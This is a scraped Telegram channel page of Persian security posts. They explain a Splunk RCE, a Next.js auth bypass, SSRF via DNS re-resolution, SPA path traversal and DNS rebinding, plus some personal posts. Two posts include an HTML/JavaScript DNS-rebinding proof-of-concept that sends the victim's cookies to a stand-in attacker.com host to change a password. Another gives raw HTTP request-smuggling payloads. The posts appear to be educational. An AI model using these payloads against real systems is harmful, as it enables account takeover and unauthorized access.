es
Feedback
/dev/null

/dev/null

Ir al canal en Telegram

| دستمو گذاشتم رو این کار ، قلبمو گذاشتم. | هر new ای را delete ای ست و پس از آن null کردنی (:

Mostrar más
Irán136 599Tecnologías y Aplicaciones53 371
323
Suscriptores
Sin datos24 horas
+37 días
+230 días
Archivo de publicaciones
/dev/null
/dev/null
323
photo content

/dev/null
/dev/null
323

/dev/null
/dev/null
323
خب Splunk یه نرم افزار برای تحلیل و مدیریت لاگ هاست که خب از لاگ ها هم برای نظارت بر سیستم ها استفاده می‌شه. آسیب پذیری که روش پیدا شده یه کاربر معمولی با سطح دسترسی پایین میتونه رویه Splunk کد اجرا کنه. چطوری این اتفاق میوفته؟ فرض کنید Splunk مثل یک کتابخانه بزرگ هس که اطلاعات را ذخیره و مدیریت می‌کنه. تویه این کتابخانه، یک بخش خاص به نام 
$SPLUNK_HOME/var/run/splunk/apptemp
وجود دارد که کاربران می‌تونن یه سری فایل‌ ها رو اونجا آپلود کنن.حالا تویه نسخه قدیمی این آسیب پذیری به وجود اومده و به درستی این مسیر قفل نشده مثلا یک کاربر معمولی (که مدیر نیس) و فقط دسترسی به این مسیر داره (مثلا یه نفر که میخواد یه سری فایل CSV تویه Splunk ذخیره کنه تا بقیه افراد تحلیل کنن) می‌تونه یک فایل مخرب (مثلاً یک اسکریپت) رو تویه این مسیر آپلود کنه و میشه باهاش RCE گرفت.

/dev/null
/dev/null
323
Repost from GO-TO CVE
سلام به همه دوستان امنیتی! 🌍✨ در هفته 45 از برنامه GO-TO CVE، به بررسی یک آسیب‌پذیری خطرناک در Next.js می‌پردازیم که باعث دور زدن احراز هویت در برخی از مسیرها می‌شود! 🚨 📱 Week: 45 🔍 CVE: CVE-2025-29927 💻 Type: 🔓 Authorization Bypass 🛠 Framework: Next.js 15.0.3 🔴 مشکل کجاست؟ در نسخه‌های آسیب‌پذیر Next.js، مشکل در Middleware باعث می‌شود که مهاجم بتواند سیاست‌های احراز هویت و محدودیت‌های امنیتی را دور بزند. این ضعف امنیتی به مهاجمان امکان می‌دهد تا بدون احراز هویت، به مسیرهای حساس و داده‌های محافظت‌شده دسترسی پیدا کنند. ⚠️ چرا این آسیب‌پذیری مهم است؟ ✅ امکان دسترسی غیرمجاز به APIهای حساس و داده‌های کاربران ✅ سوءاستفاده برای استخراج اطلاعات کاربران و اجرای حملات CSRF یا SSRF ✅ قابل ترکیب با Cache-Poisoning برای از کار انداختن برخی صفحات سایت ✅ خطر افشای اطلاعات در سرویس‌های مبتنی بر Edge Functions و CDN 📢 برای اطلاعات بیشتر و راهکارهای امنیتی، با ما همراه باشید! 🔗 پیوستن به کانال تلگرام: https://t.me/GOTOCVE #week_45

/dev/null
/dev/null
323
بعد دو روز وقت گذاشتن رویه پروژه درس شبکه ، چیز خوبی شد https://github.com/hajmoha/network-project
بعد دو روز وقت گذاشتن رویه پروژه درس شبکه ، چیز خوبی شد https://github.com/hajmoha/network-project

/dev/null
/dev/null
323
مثلا تویه این کد فقط یه بار چک میکنه ip رو و درخواست رو ارسال میکنه که میتونیم بعدش یه ip دیگه resolve کنیم براش
مثلا تویه این کد فقط یه بار چک میکنه ip رو و درخواست رو ارسال میکنه که میتونیم بعدش یه ip دیگه resolve کنیم براش

/dev/null
/dev/null
323
DNS Rebinding در حمله DNS Rebinding، کاربر لاگین شده توی example.com که یک سرور داخلی هم داره، می‌خواد وارد وب‌سایت attacker.com بشه. حالا مرورگر درخواست DNS می‌ده و باید attacker.com رو resolve کنه به یه IP معتبر. مهاجم TTL رو کم می‌زاره که مرورگر مجبور بشه دوباره attacker.com رو resolve کنه. اینطوری resolve می‌شن: - attacker.com → 1.2.3.4 (IP public) - attacker.com → 192.168.1.1 (سرور داخلی) بعد چند ثانیه، attacker.com به یه IP داخلی resolve می‌شه و مرورگر فکر می‌کنه که هنوز داره با attacker.com کار می‌کنه در صورتی که به سرور داخلی example.com داره اشاره می‌کنه. این ممکنه به خاطر DNS caching باشه یا مرورگر وقتی درخواست HTTP یا جاوا اسکریپت رو اجرا می‌کنه، فقط نگاه می‌کنه که نام دامنه (attacker.com) تغییری نکرده باشه. از نظر مرورگر، همچنان attacker.com در حال اجراست، فقط IP پشت این نام عوض شده (که چیزی غیرعادی نیست!). و چون same-origin هنوز معتبره، جاوا اسکریپت مخرب توی attacker.com می‌تونه به اطلاعات سرور داخلی example.com دسترسی داشته باشه و درخواست‌های مخرب ارسال کنه. مثلاً اگه درخواست به سرور داخلی (internal_server) از طریق example.com با کوکی هندل شده باشه، می‌شه چنین کاری انجام داد: 
<!DOCTYPE html>
<html>
<head>
    <title>DNS Rebinding Attack</title>
</head>
<body>
    <h1>Loading...</h1>
    <script>
        async function hack() {
            try {
                console.log(" Waiting for DNS change...");
                await new Promise(resolve => setTimeout(resolve, 5000)); // Wait for DNS change

                console.log(" Sending request to victim's router...");
                const response = await fetch("http://attacker.com/change-password", {
                    method: "POST",
                    body: JSON.stringify({ newPassword: "hacked" }),
                    headers: { "Content-Type": "application/json" },
                    credentials: "include" // Send victim's authentication cookies!
                });

                const data = await response.text();
                console.log(" hacked!", data);
            } catch (error) {
                console.error("Failed to hack :", error);
            }
        }

        hack();
    </script>
</body>
</html>
مثلاً توی این کد بعد مدت ۵ ثانیه، دوباره attacker.com باید resolve بشه و حالا به سرور داخلی example.com اشاره می‌کنه که یه درخواستی ارسال می‌کنه که کوکی‌های کاربر هم داخلش هست و می‌تونه پسورد کاربر رو عوض کنه.

/dev/null
/dev/null
323
DNS Rebinding در حمله DNS Rebinding، کاربر لاگین شده توی example.com که یک سرور داخلی هم داره، می‌خواد وارد وب‌سایت attacker.com بشه. حالا مرورگر درخواست DNS می‌ده و باید attacker.com رو resolve کنه به یه IP معتبر. مهاجم TTL رو کم می‌زاره که مرورگر مجبور بشه دوباره attacker.com رو resolve کنه. اینطوری resolve می‌شن: - attacker.com → 1.2.3.4 (IP public) - attacker.com → 192.168.1.1 (سرور داخلی) بعد چند ثانیه، attacker.com به یه IP داخلی resolve می‌شه و مرورگر فکر می‌کنه که هنوز داره با attacker.com کار می‌کنه در صورتی که به سرور داخلی example.com داره اشاره می‌کنه. این ممکنه به خاطر DNS caching باشه یا مرورگر وقتی درخواست HTTP یا جاوا اسکریپت رو اجرا می‌کنه، فقط نگاه می‌کنه که نام دامنه (attacker.com) تغییری نکرده باشه. از نظر مرورگر، همچنان attacker.com در حال اجراست، فقط IP پشت این نام عوض شده (که چیزی غیرعادی نیست!). و چون same-origin هنوز معتبره، جاوا اسکریپت مخرب توی attacker.com می‌تونه به اطلاعات سرور داخلی example.com دسترسی داشته باشه و درخواست‌های مخرب ارسال کنه. مثلاً اگه درخواست به سرور داخلی (internal_server) از طریق example.com با کوکی هندل شده باشه، می‌شه چنین کاری انجام داد: 
<!DOCTYPE html>
<html>
<head>
    <title>DNS Rebinding Attack</title>
</head>
<body>
    <h1>Loading...</h1>
    <script>
        async function hackRouter() {
            try {
                console.log("⏳ Waiting for DNS change...");
                await new Promise(resolve => setTimeout(resolve, 5000)); // Wait for DNS change

                console.log(" Sending request to victim's router...");
                const response = await fetch("http://attacker.com/change-password", {
                    method: "POST",
                    body: JSON.stringify({ newPassword: "hacked123" }),
                    headers: { "Content-Type": "application/json" },
                    credentials: "include" // Send victim's authentication cookies!
                });

                const data = await response.text();
                console.log("✅ Router hacked!", data);
            } catch (error) {
                console.error("❌ Failed to hack router:", error);
            }
        }

        hackRouter();
    </script>
</body>
</html>
مثلاً توی این کد بعد مدت ۵ ثانیه، دوباره attacker.com باید resolve بشه و حالا به سرور داخلی example.com اشاره می‌کنه که یه درخواستی ارسال می‌کنه که کوکی‌های کاربر هم داخلش هست و می‌تونه پسورد کاربر رو عوض کنه.

/dev/null
/dev/null
323

/dev/null
/dev/null
323
Repost from Proxy Bar
CVE-2025-29927 – Next.js Middleware Authorization Bypass * CVSS 9.8 * WriteUp
CVE-2025-29927 – Next.js Middleware Authorization Bypass * CVSS 9.8 * WriteUp

/dev/null
/dev/null
323
photo content

/dev/null
/dev/null
323
مسیر پیشرفت تکنولوژی در توسعه وب داشتم در موردش می‌خوندم چیزای جالبی داشت. ایده اصلی تکنولوژی‌های قدیمی همچنان در حال تغییر هستن و فناوری‌های جدید جایگزین آن‌ها میشن. اوایل وب‌سایت‌ها مجموعه‌ای از فناوری‌ها به اسم LAMP استفاده می‌کردن: - Linux (سیستم‌عامل) - Apache (وب‌سرور) - MySQL (پایگاه‌داده) -PHP اما یه مشکلی که پیش اومد این بود که PHP به‌صورت سنتی فرآیندهای همزمان (Asynchronous) را پشتیبانی نمی‌کنه و همچنین، Apache به ازای هر درخواست یک پردازش (Process) جدید باز می‌کنه که در حجم بالا باعث کندی سرور می‌شه. همچنین MySQL نمی‌تونه داده‌های غیرساختاریافته (مثل JSON و XML) ذخیره کنه. حالا اومدن از MEAN و MERN استفاده می‌کنن: MEAN = MongoDB + Express.js + Angular + Node.js یا MERN = MongoDB + Express.js + React + Node.js JavaScript در تمام قسمت‌های برنامه استفاده می‌شه (هم در فرانت‌اند، هم در بک‌اند). MongoDB به‌عنوان پایگاه داده‌ی NoSQL داده‌ها را سریع‌تر و راحت‌تر مدیریت می‌کنه. Express.js و Node.js باعث اجرای سریع‌تر و کم‌مصرف‌تر سرور می‌شن. و SPA اومد باعث می‌شه که سایت‌ها سریع‌تر بشن. SPA (Single Page Application) یعنی یک وب‌سایت که فقط یک صفحه داره و محتوا به‌صورت دینامیک و بدون بارگذاری مجدد صفحه تغییر می‌کنه. و همین‌طورCloud و DevOps آمدند تا مدیریت سرورها را آسان‌تر کنند. مثلا Cloud Computing (رایانش ابری) به جای اینکه خودمون سرورهای فیزیکی را مدیریت کنیم، شرکت‌های ابری مثل AWS، Google Cloud، و Azure این کار را برای ما انجام می‌دن و DevOps (مخفف Development Operations) یعنی توسعه‌دهندگان و تیم عملیات با هم کار کنند تا برنامه‌ها سریع‌تر و بهتر اجرا بشن . و در نهایت Serverless Architecture اومدن که نیاز به مدیریت سرور از بین بره. در گذشته، وقتی می‌خواستین برنامه‌ای اجرا کنین، باید یک سرور اجاره می‌کردین و همیشه آن را روشن نگه می‌داشتین. اما در معماری Serverless، شما فقط کد می‌نویسید و شرکت‌های ابری (مثل AWS یا Google Cloud) خودشان اجرای آن را مدیریت می‌کنن.

/dev/null
/dev/null
323
این آسیب پذیری بیشتر تو مدرن اپلیکیشن ها رخ میده توی SPA ها موقعی که دولوپر بخواد یه درخواست api بزنه و auth token یوزر رو هم تو اون درخواست بفرسته میاد از fetch یا xhr استفاده میکنه بعد اینجا دولوپر باید حواسش باشه, موقعی این آسیب پذیری رخ میده که input یوزر بدون کنترل شدن بره تو مسیر درخواست اون api بشینه مثلا ما این مسیر رو توی ui اون SPA باز میکنیم 
/profile?id=12345
بعد موقعی که dom پارس میشه و کد دولوپر ران میشه اون میاد یه درخواست به api اینجوری میزنه 
/api/v1/users/12345
و توی ریکویست میبینیم هدر authorization و حتی csrf token هم وجود داره چون دولوپر یه fetch زده و این توکن هارو هم تو درخواست گذاشته حالا اگه این id که اینپوت یوزر هست درست سنیتایز نشه ما میتونیم تو مسیر api بریم عقب و به هر مسیری که خواستیم درخواست authenticate شده بفرستیم و معمولا csrf میزنن

/dev/null
/dev/null
323
یه مطلبی میخوام بگم ربطی هم به موضوعات چنل نداره ولی خوب اقا امشب یه جنسی میخواستم به یه نفر بفروشم که برای هزینش میخواس چک بده فرایند کلا پاس شدن چک اینطوریه که شناسه چک رو تویه همراه بانک باید وارد کنی و بعد تایید کنی که اقا این چک رو از این شخص گرفتی (فرایند چک صیادی) این اقای محترم چیکار کرده بود ؟ اول اینکه چکی که فرستاده بود تاریخش که به فارسی بود رو اشتباه نوشته بود و خیلی شانسی دیدم که مال سه سال پیشه(خیلی ناخوانا و بد جا نوشته بود) ولی تاریخ به عدد درست بود. موضوع مهم ترش اینه که وقتی رفتم که تایید کنم چک رو تویه همراه بانک اصلا چکی ثبت نشده بود و وقتی بهش گفتم اصرار کرد که ثبت کردم و سندش رو واست فرستادم. وقتی سندش رو دیدم کلا شناسه چک ها فرق میکرد . شک کردم که نکنه سند جعلی فرستاده . رفتم شناسه رو تویه همراه بانک چک کردم و دیدم بله ایشون واقعا چنین چکی به اسم من ثبت کرده ولییی اصلا اون چکه دست من نیسسس(که شانس اوردم تایید نکردم چکووو) . ممکنه بپرسید چی میشد وقتی چک رو به نامت ثبت کرده ولی خود لاشه چک پیشت نیس؟ نکته اینجاس که اگه کار به شکایت میرسید ایشون میگفت اقای قاضی ببین من چک رو ثبت کردم و ایشون خودش چک رو گم کرده و ... و حالا من می ماندم و پوسته گردو خلاصه که به کسی اعتماد صد در صد نکنید و هیچوقت تویه رو در بایستی (نمیدونم چطوری نوشته میشه) گیر نکنید عیدتونم پیش پیش مبارک ❤️✨️

/dev/null
/dev/null
323
دوستان با فردی برید تو رابطه که سهام عدالت داشته باشه

/dev/null
/dev/null
323

/dev/null
/dev/null
323

/dev/null
/dev/null
323

/dev/null
/dev/null
323

/dev/null
/dev/null
323
انواع مختلفی داره پردازش Content-length و Transfer-Encoding توسط فرانت سرور و بک اند سرور : - میتونه CL.TE باشه (ینیContent-length توسط فرانت پردازش بشه و Transfer-Encoding توسط بک اند سرور ) 
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
جای SMUGGLED میتونیم درخواست دلخواه بزاریم - یا میتونه TE.CL باشه‌(برعکس بالایی) 
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0
-میتونه هم TE.TE باشه 
Transfer-Encoding: ;chunked
Transfer-Encoding : chunked
تویه این موردم تلاش می‌کنیم که فرانت سرور یکی از TE رو پردازش کنه و بک اند هم یه نوع دیگه

/dev/null - Estadísticas y analítica del canal de Telegram @mrdevnull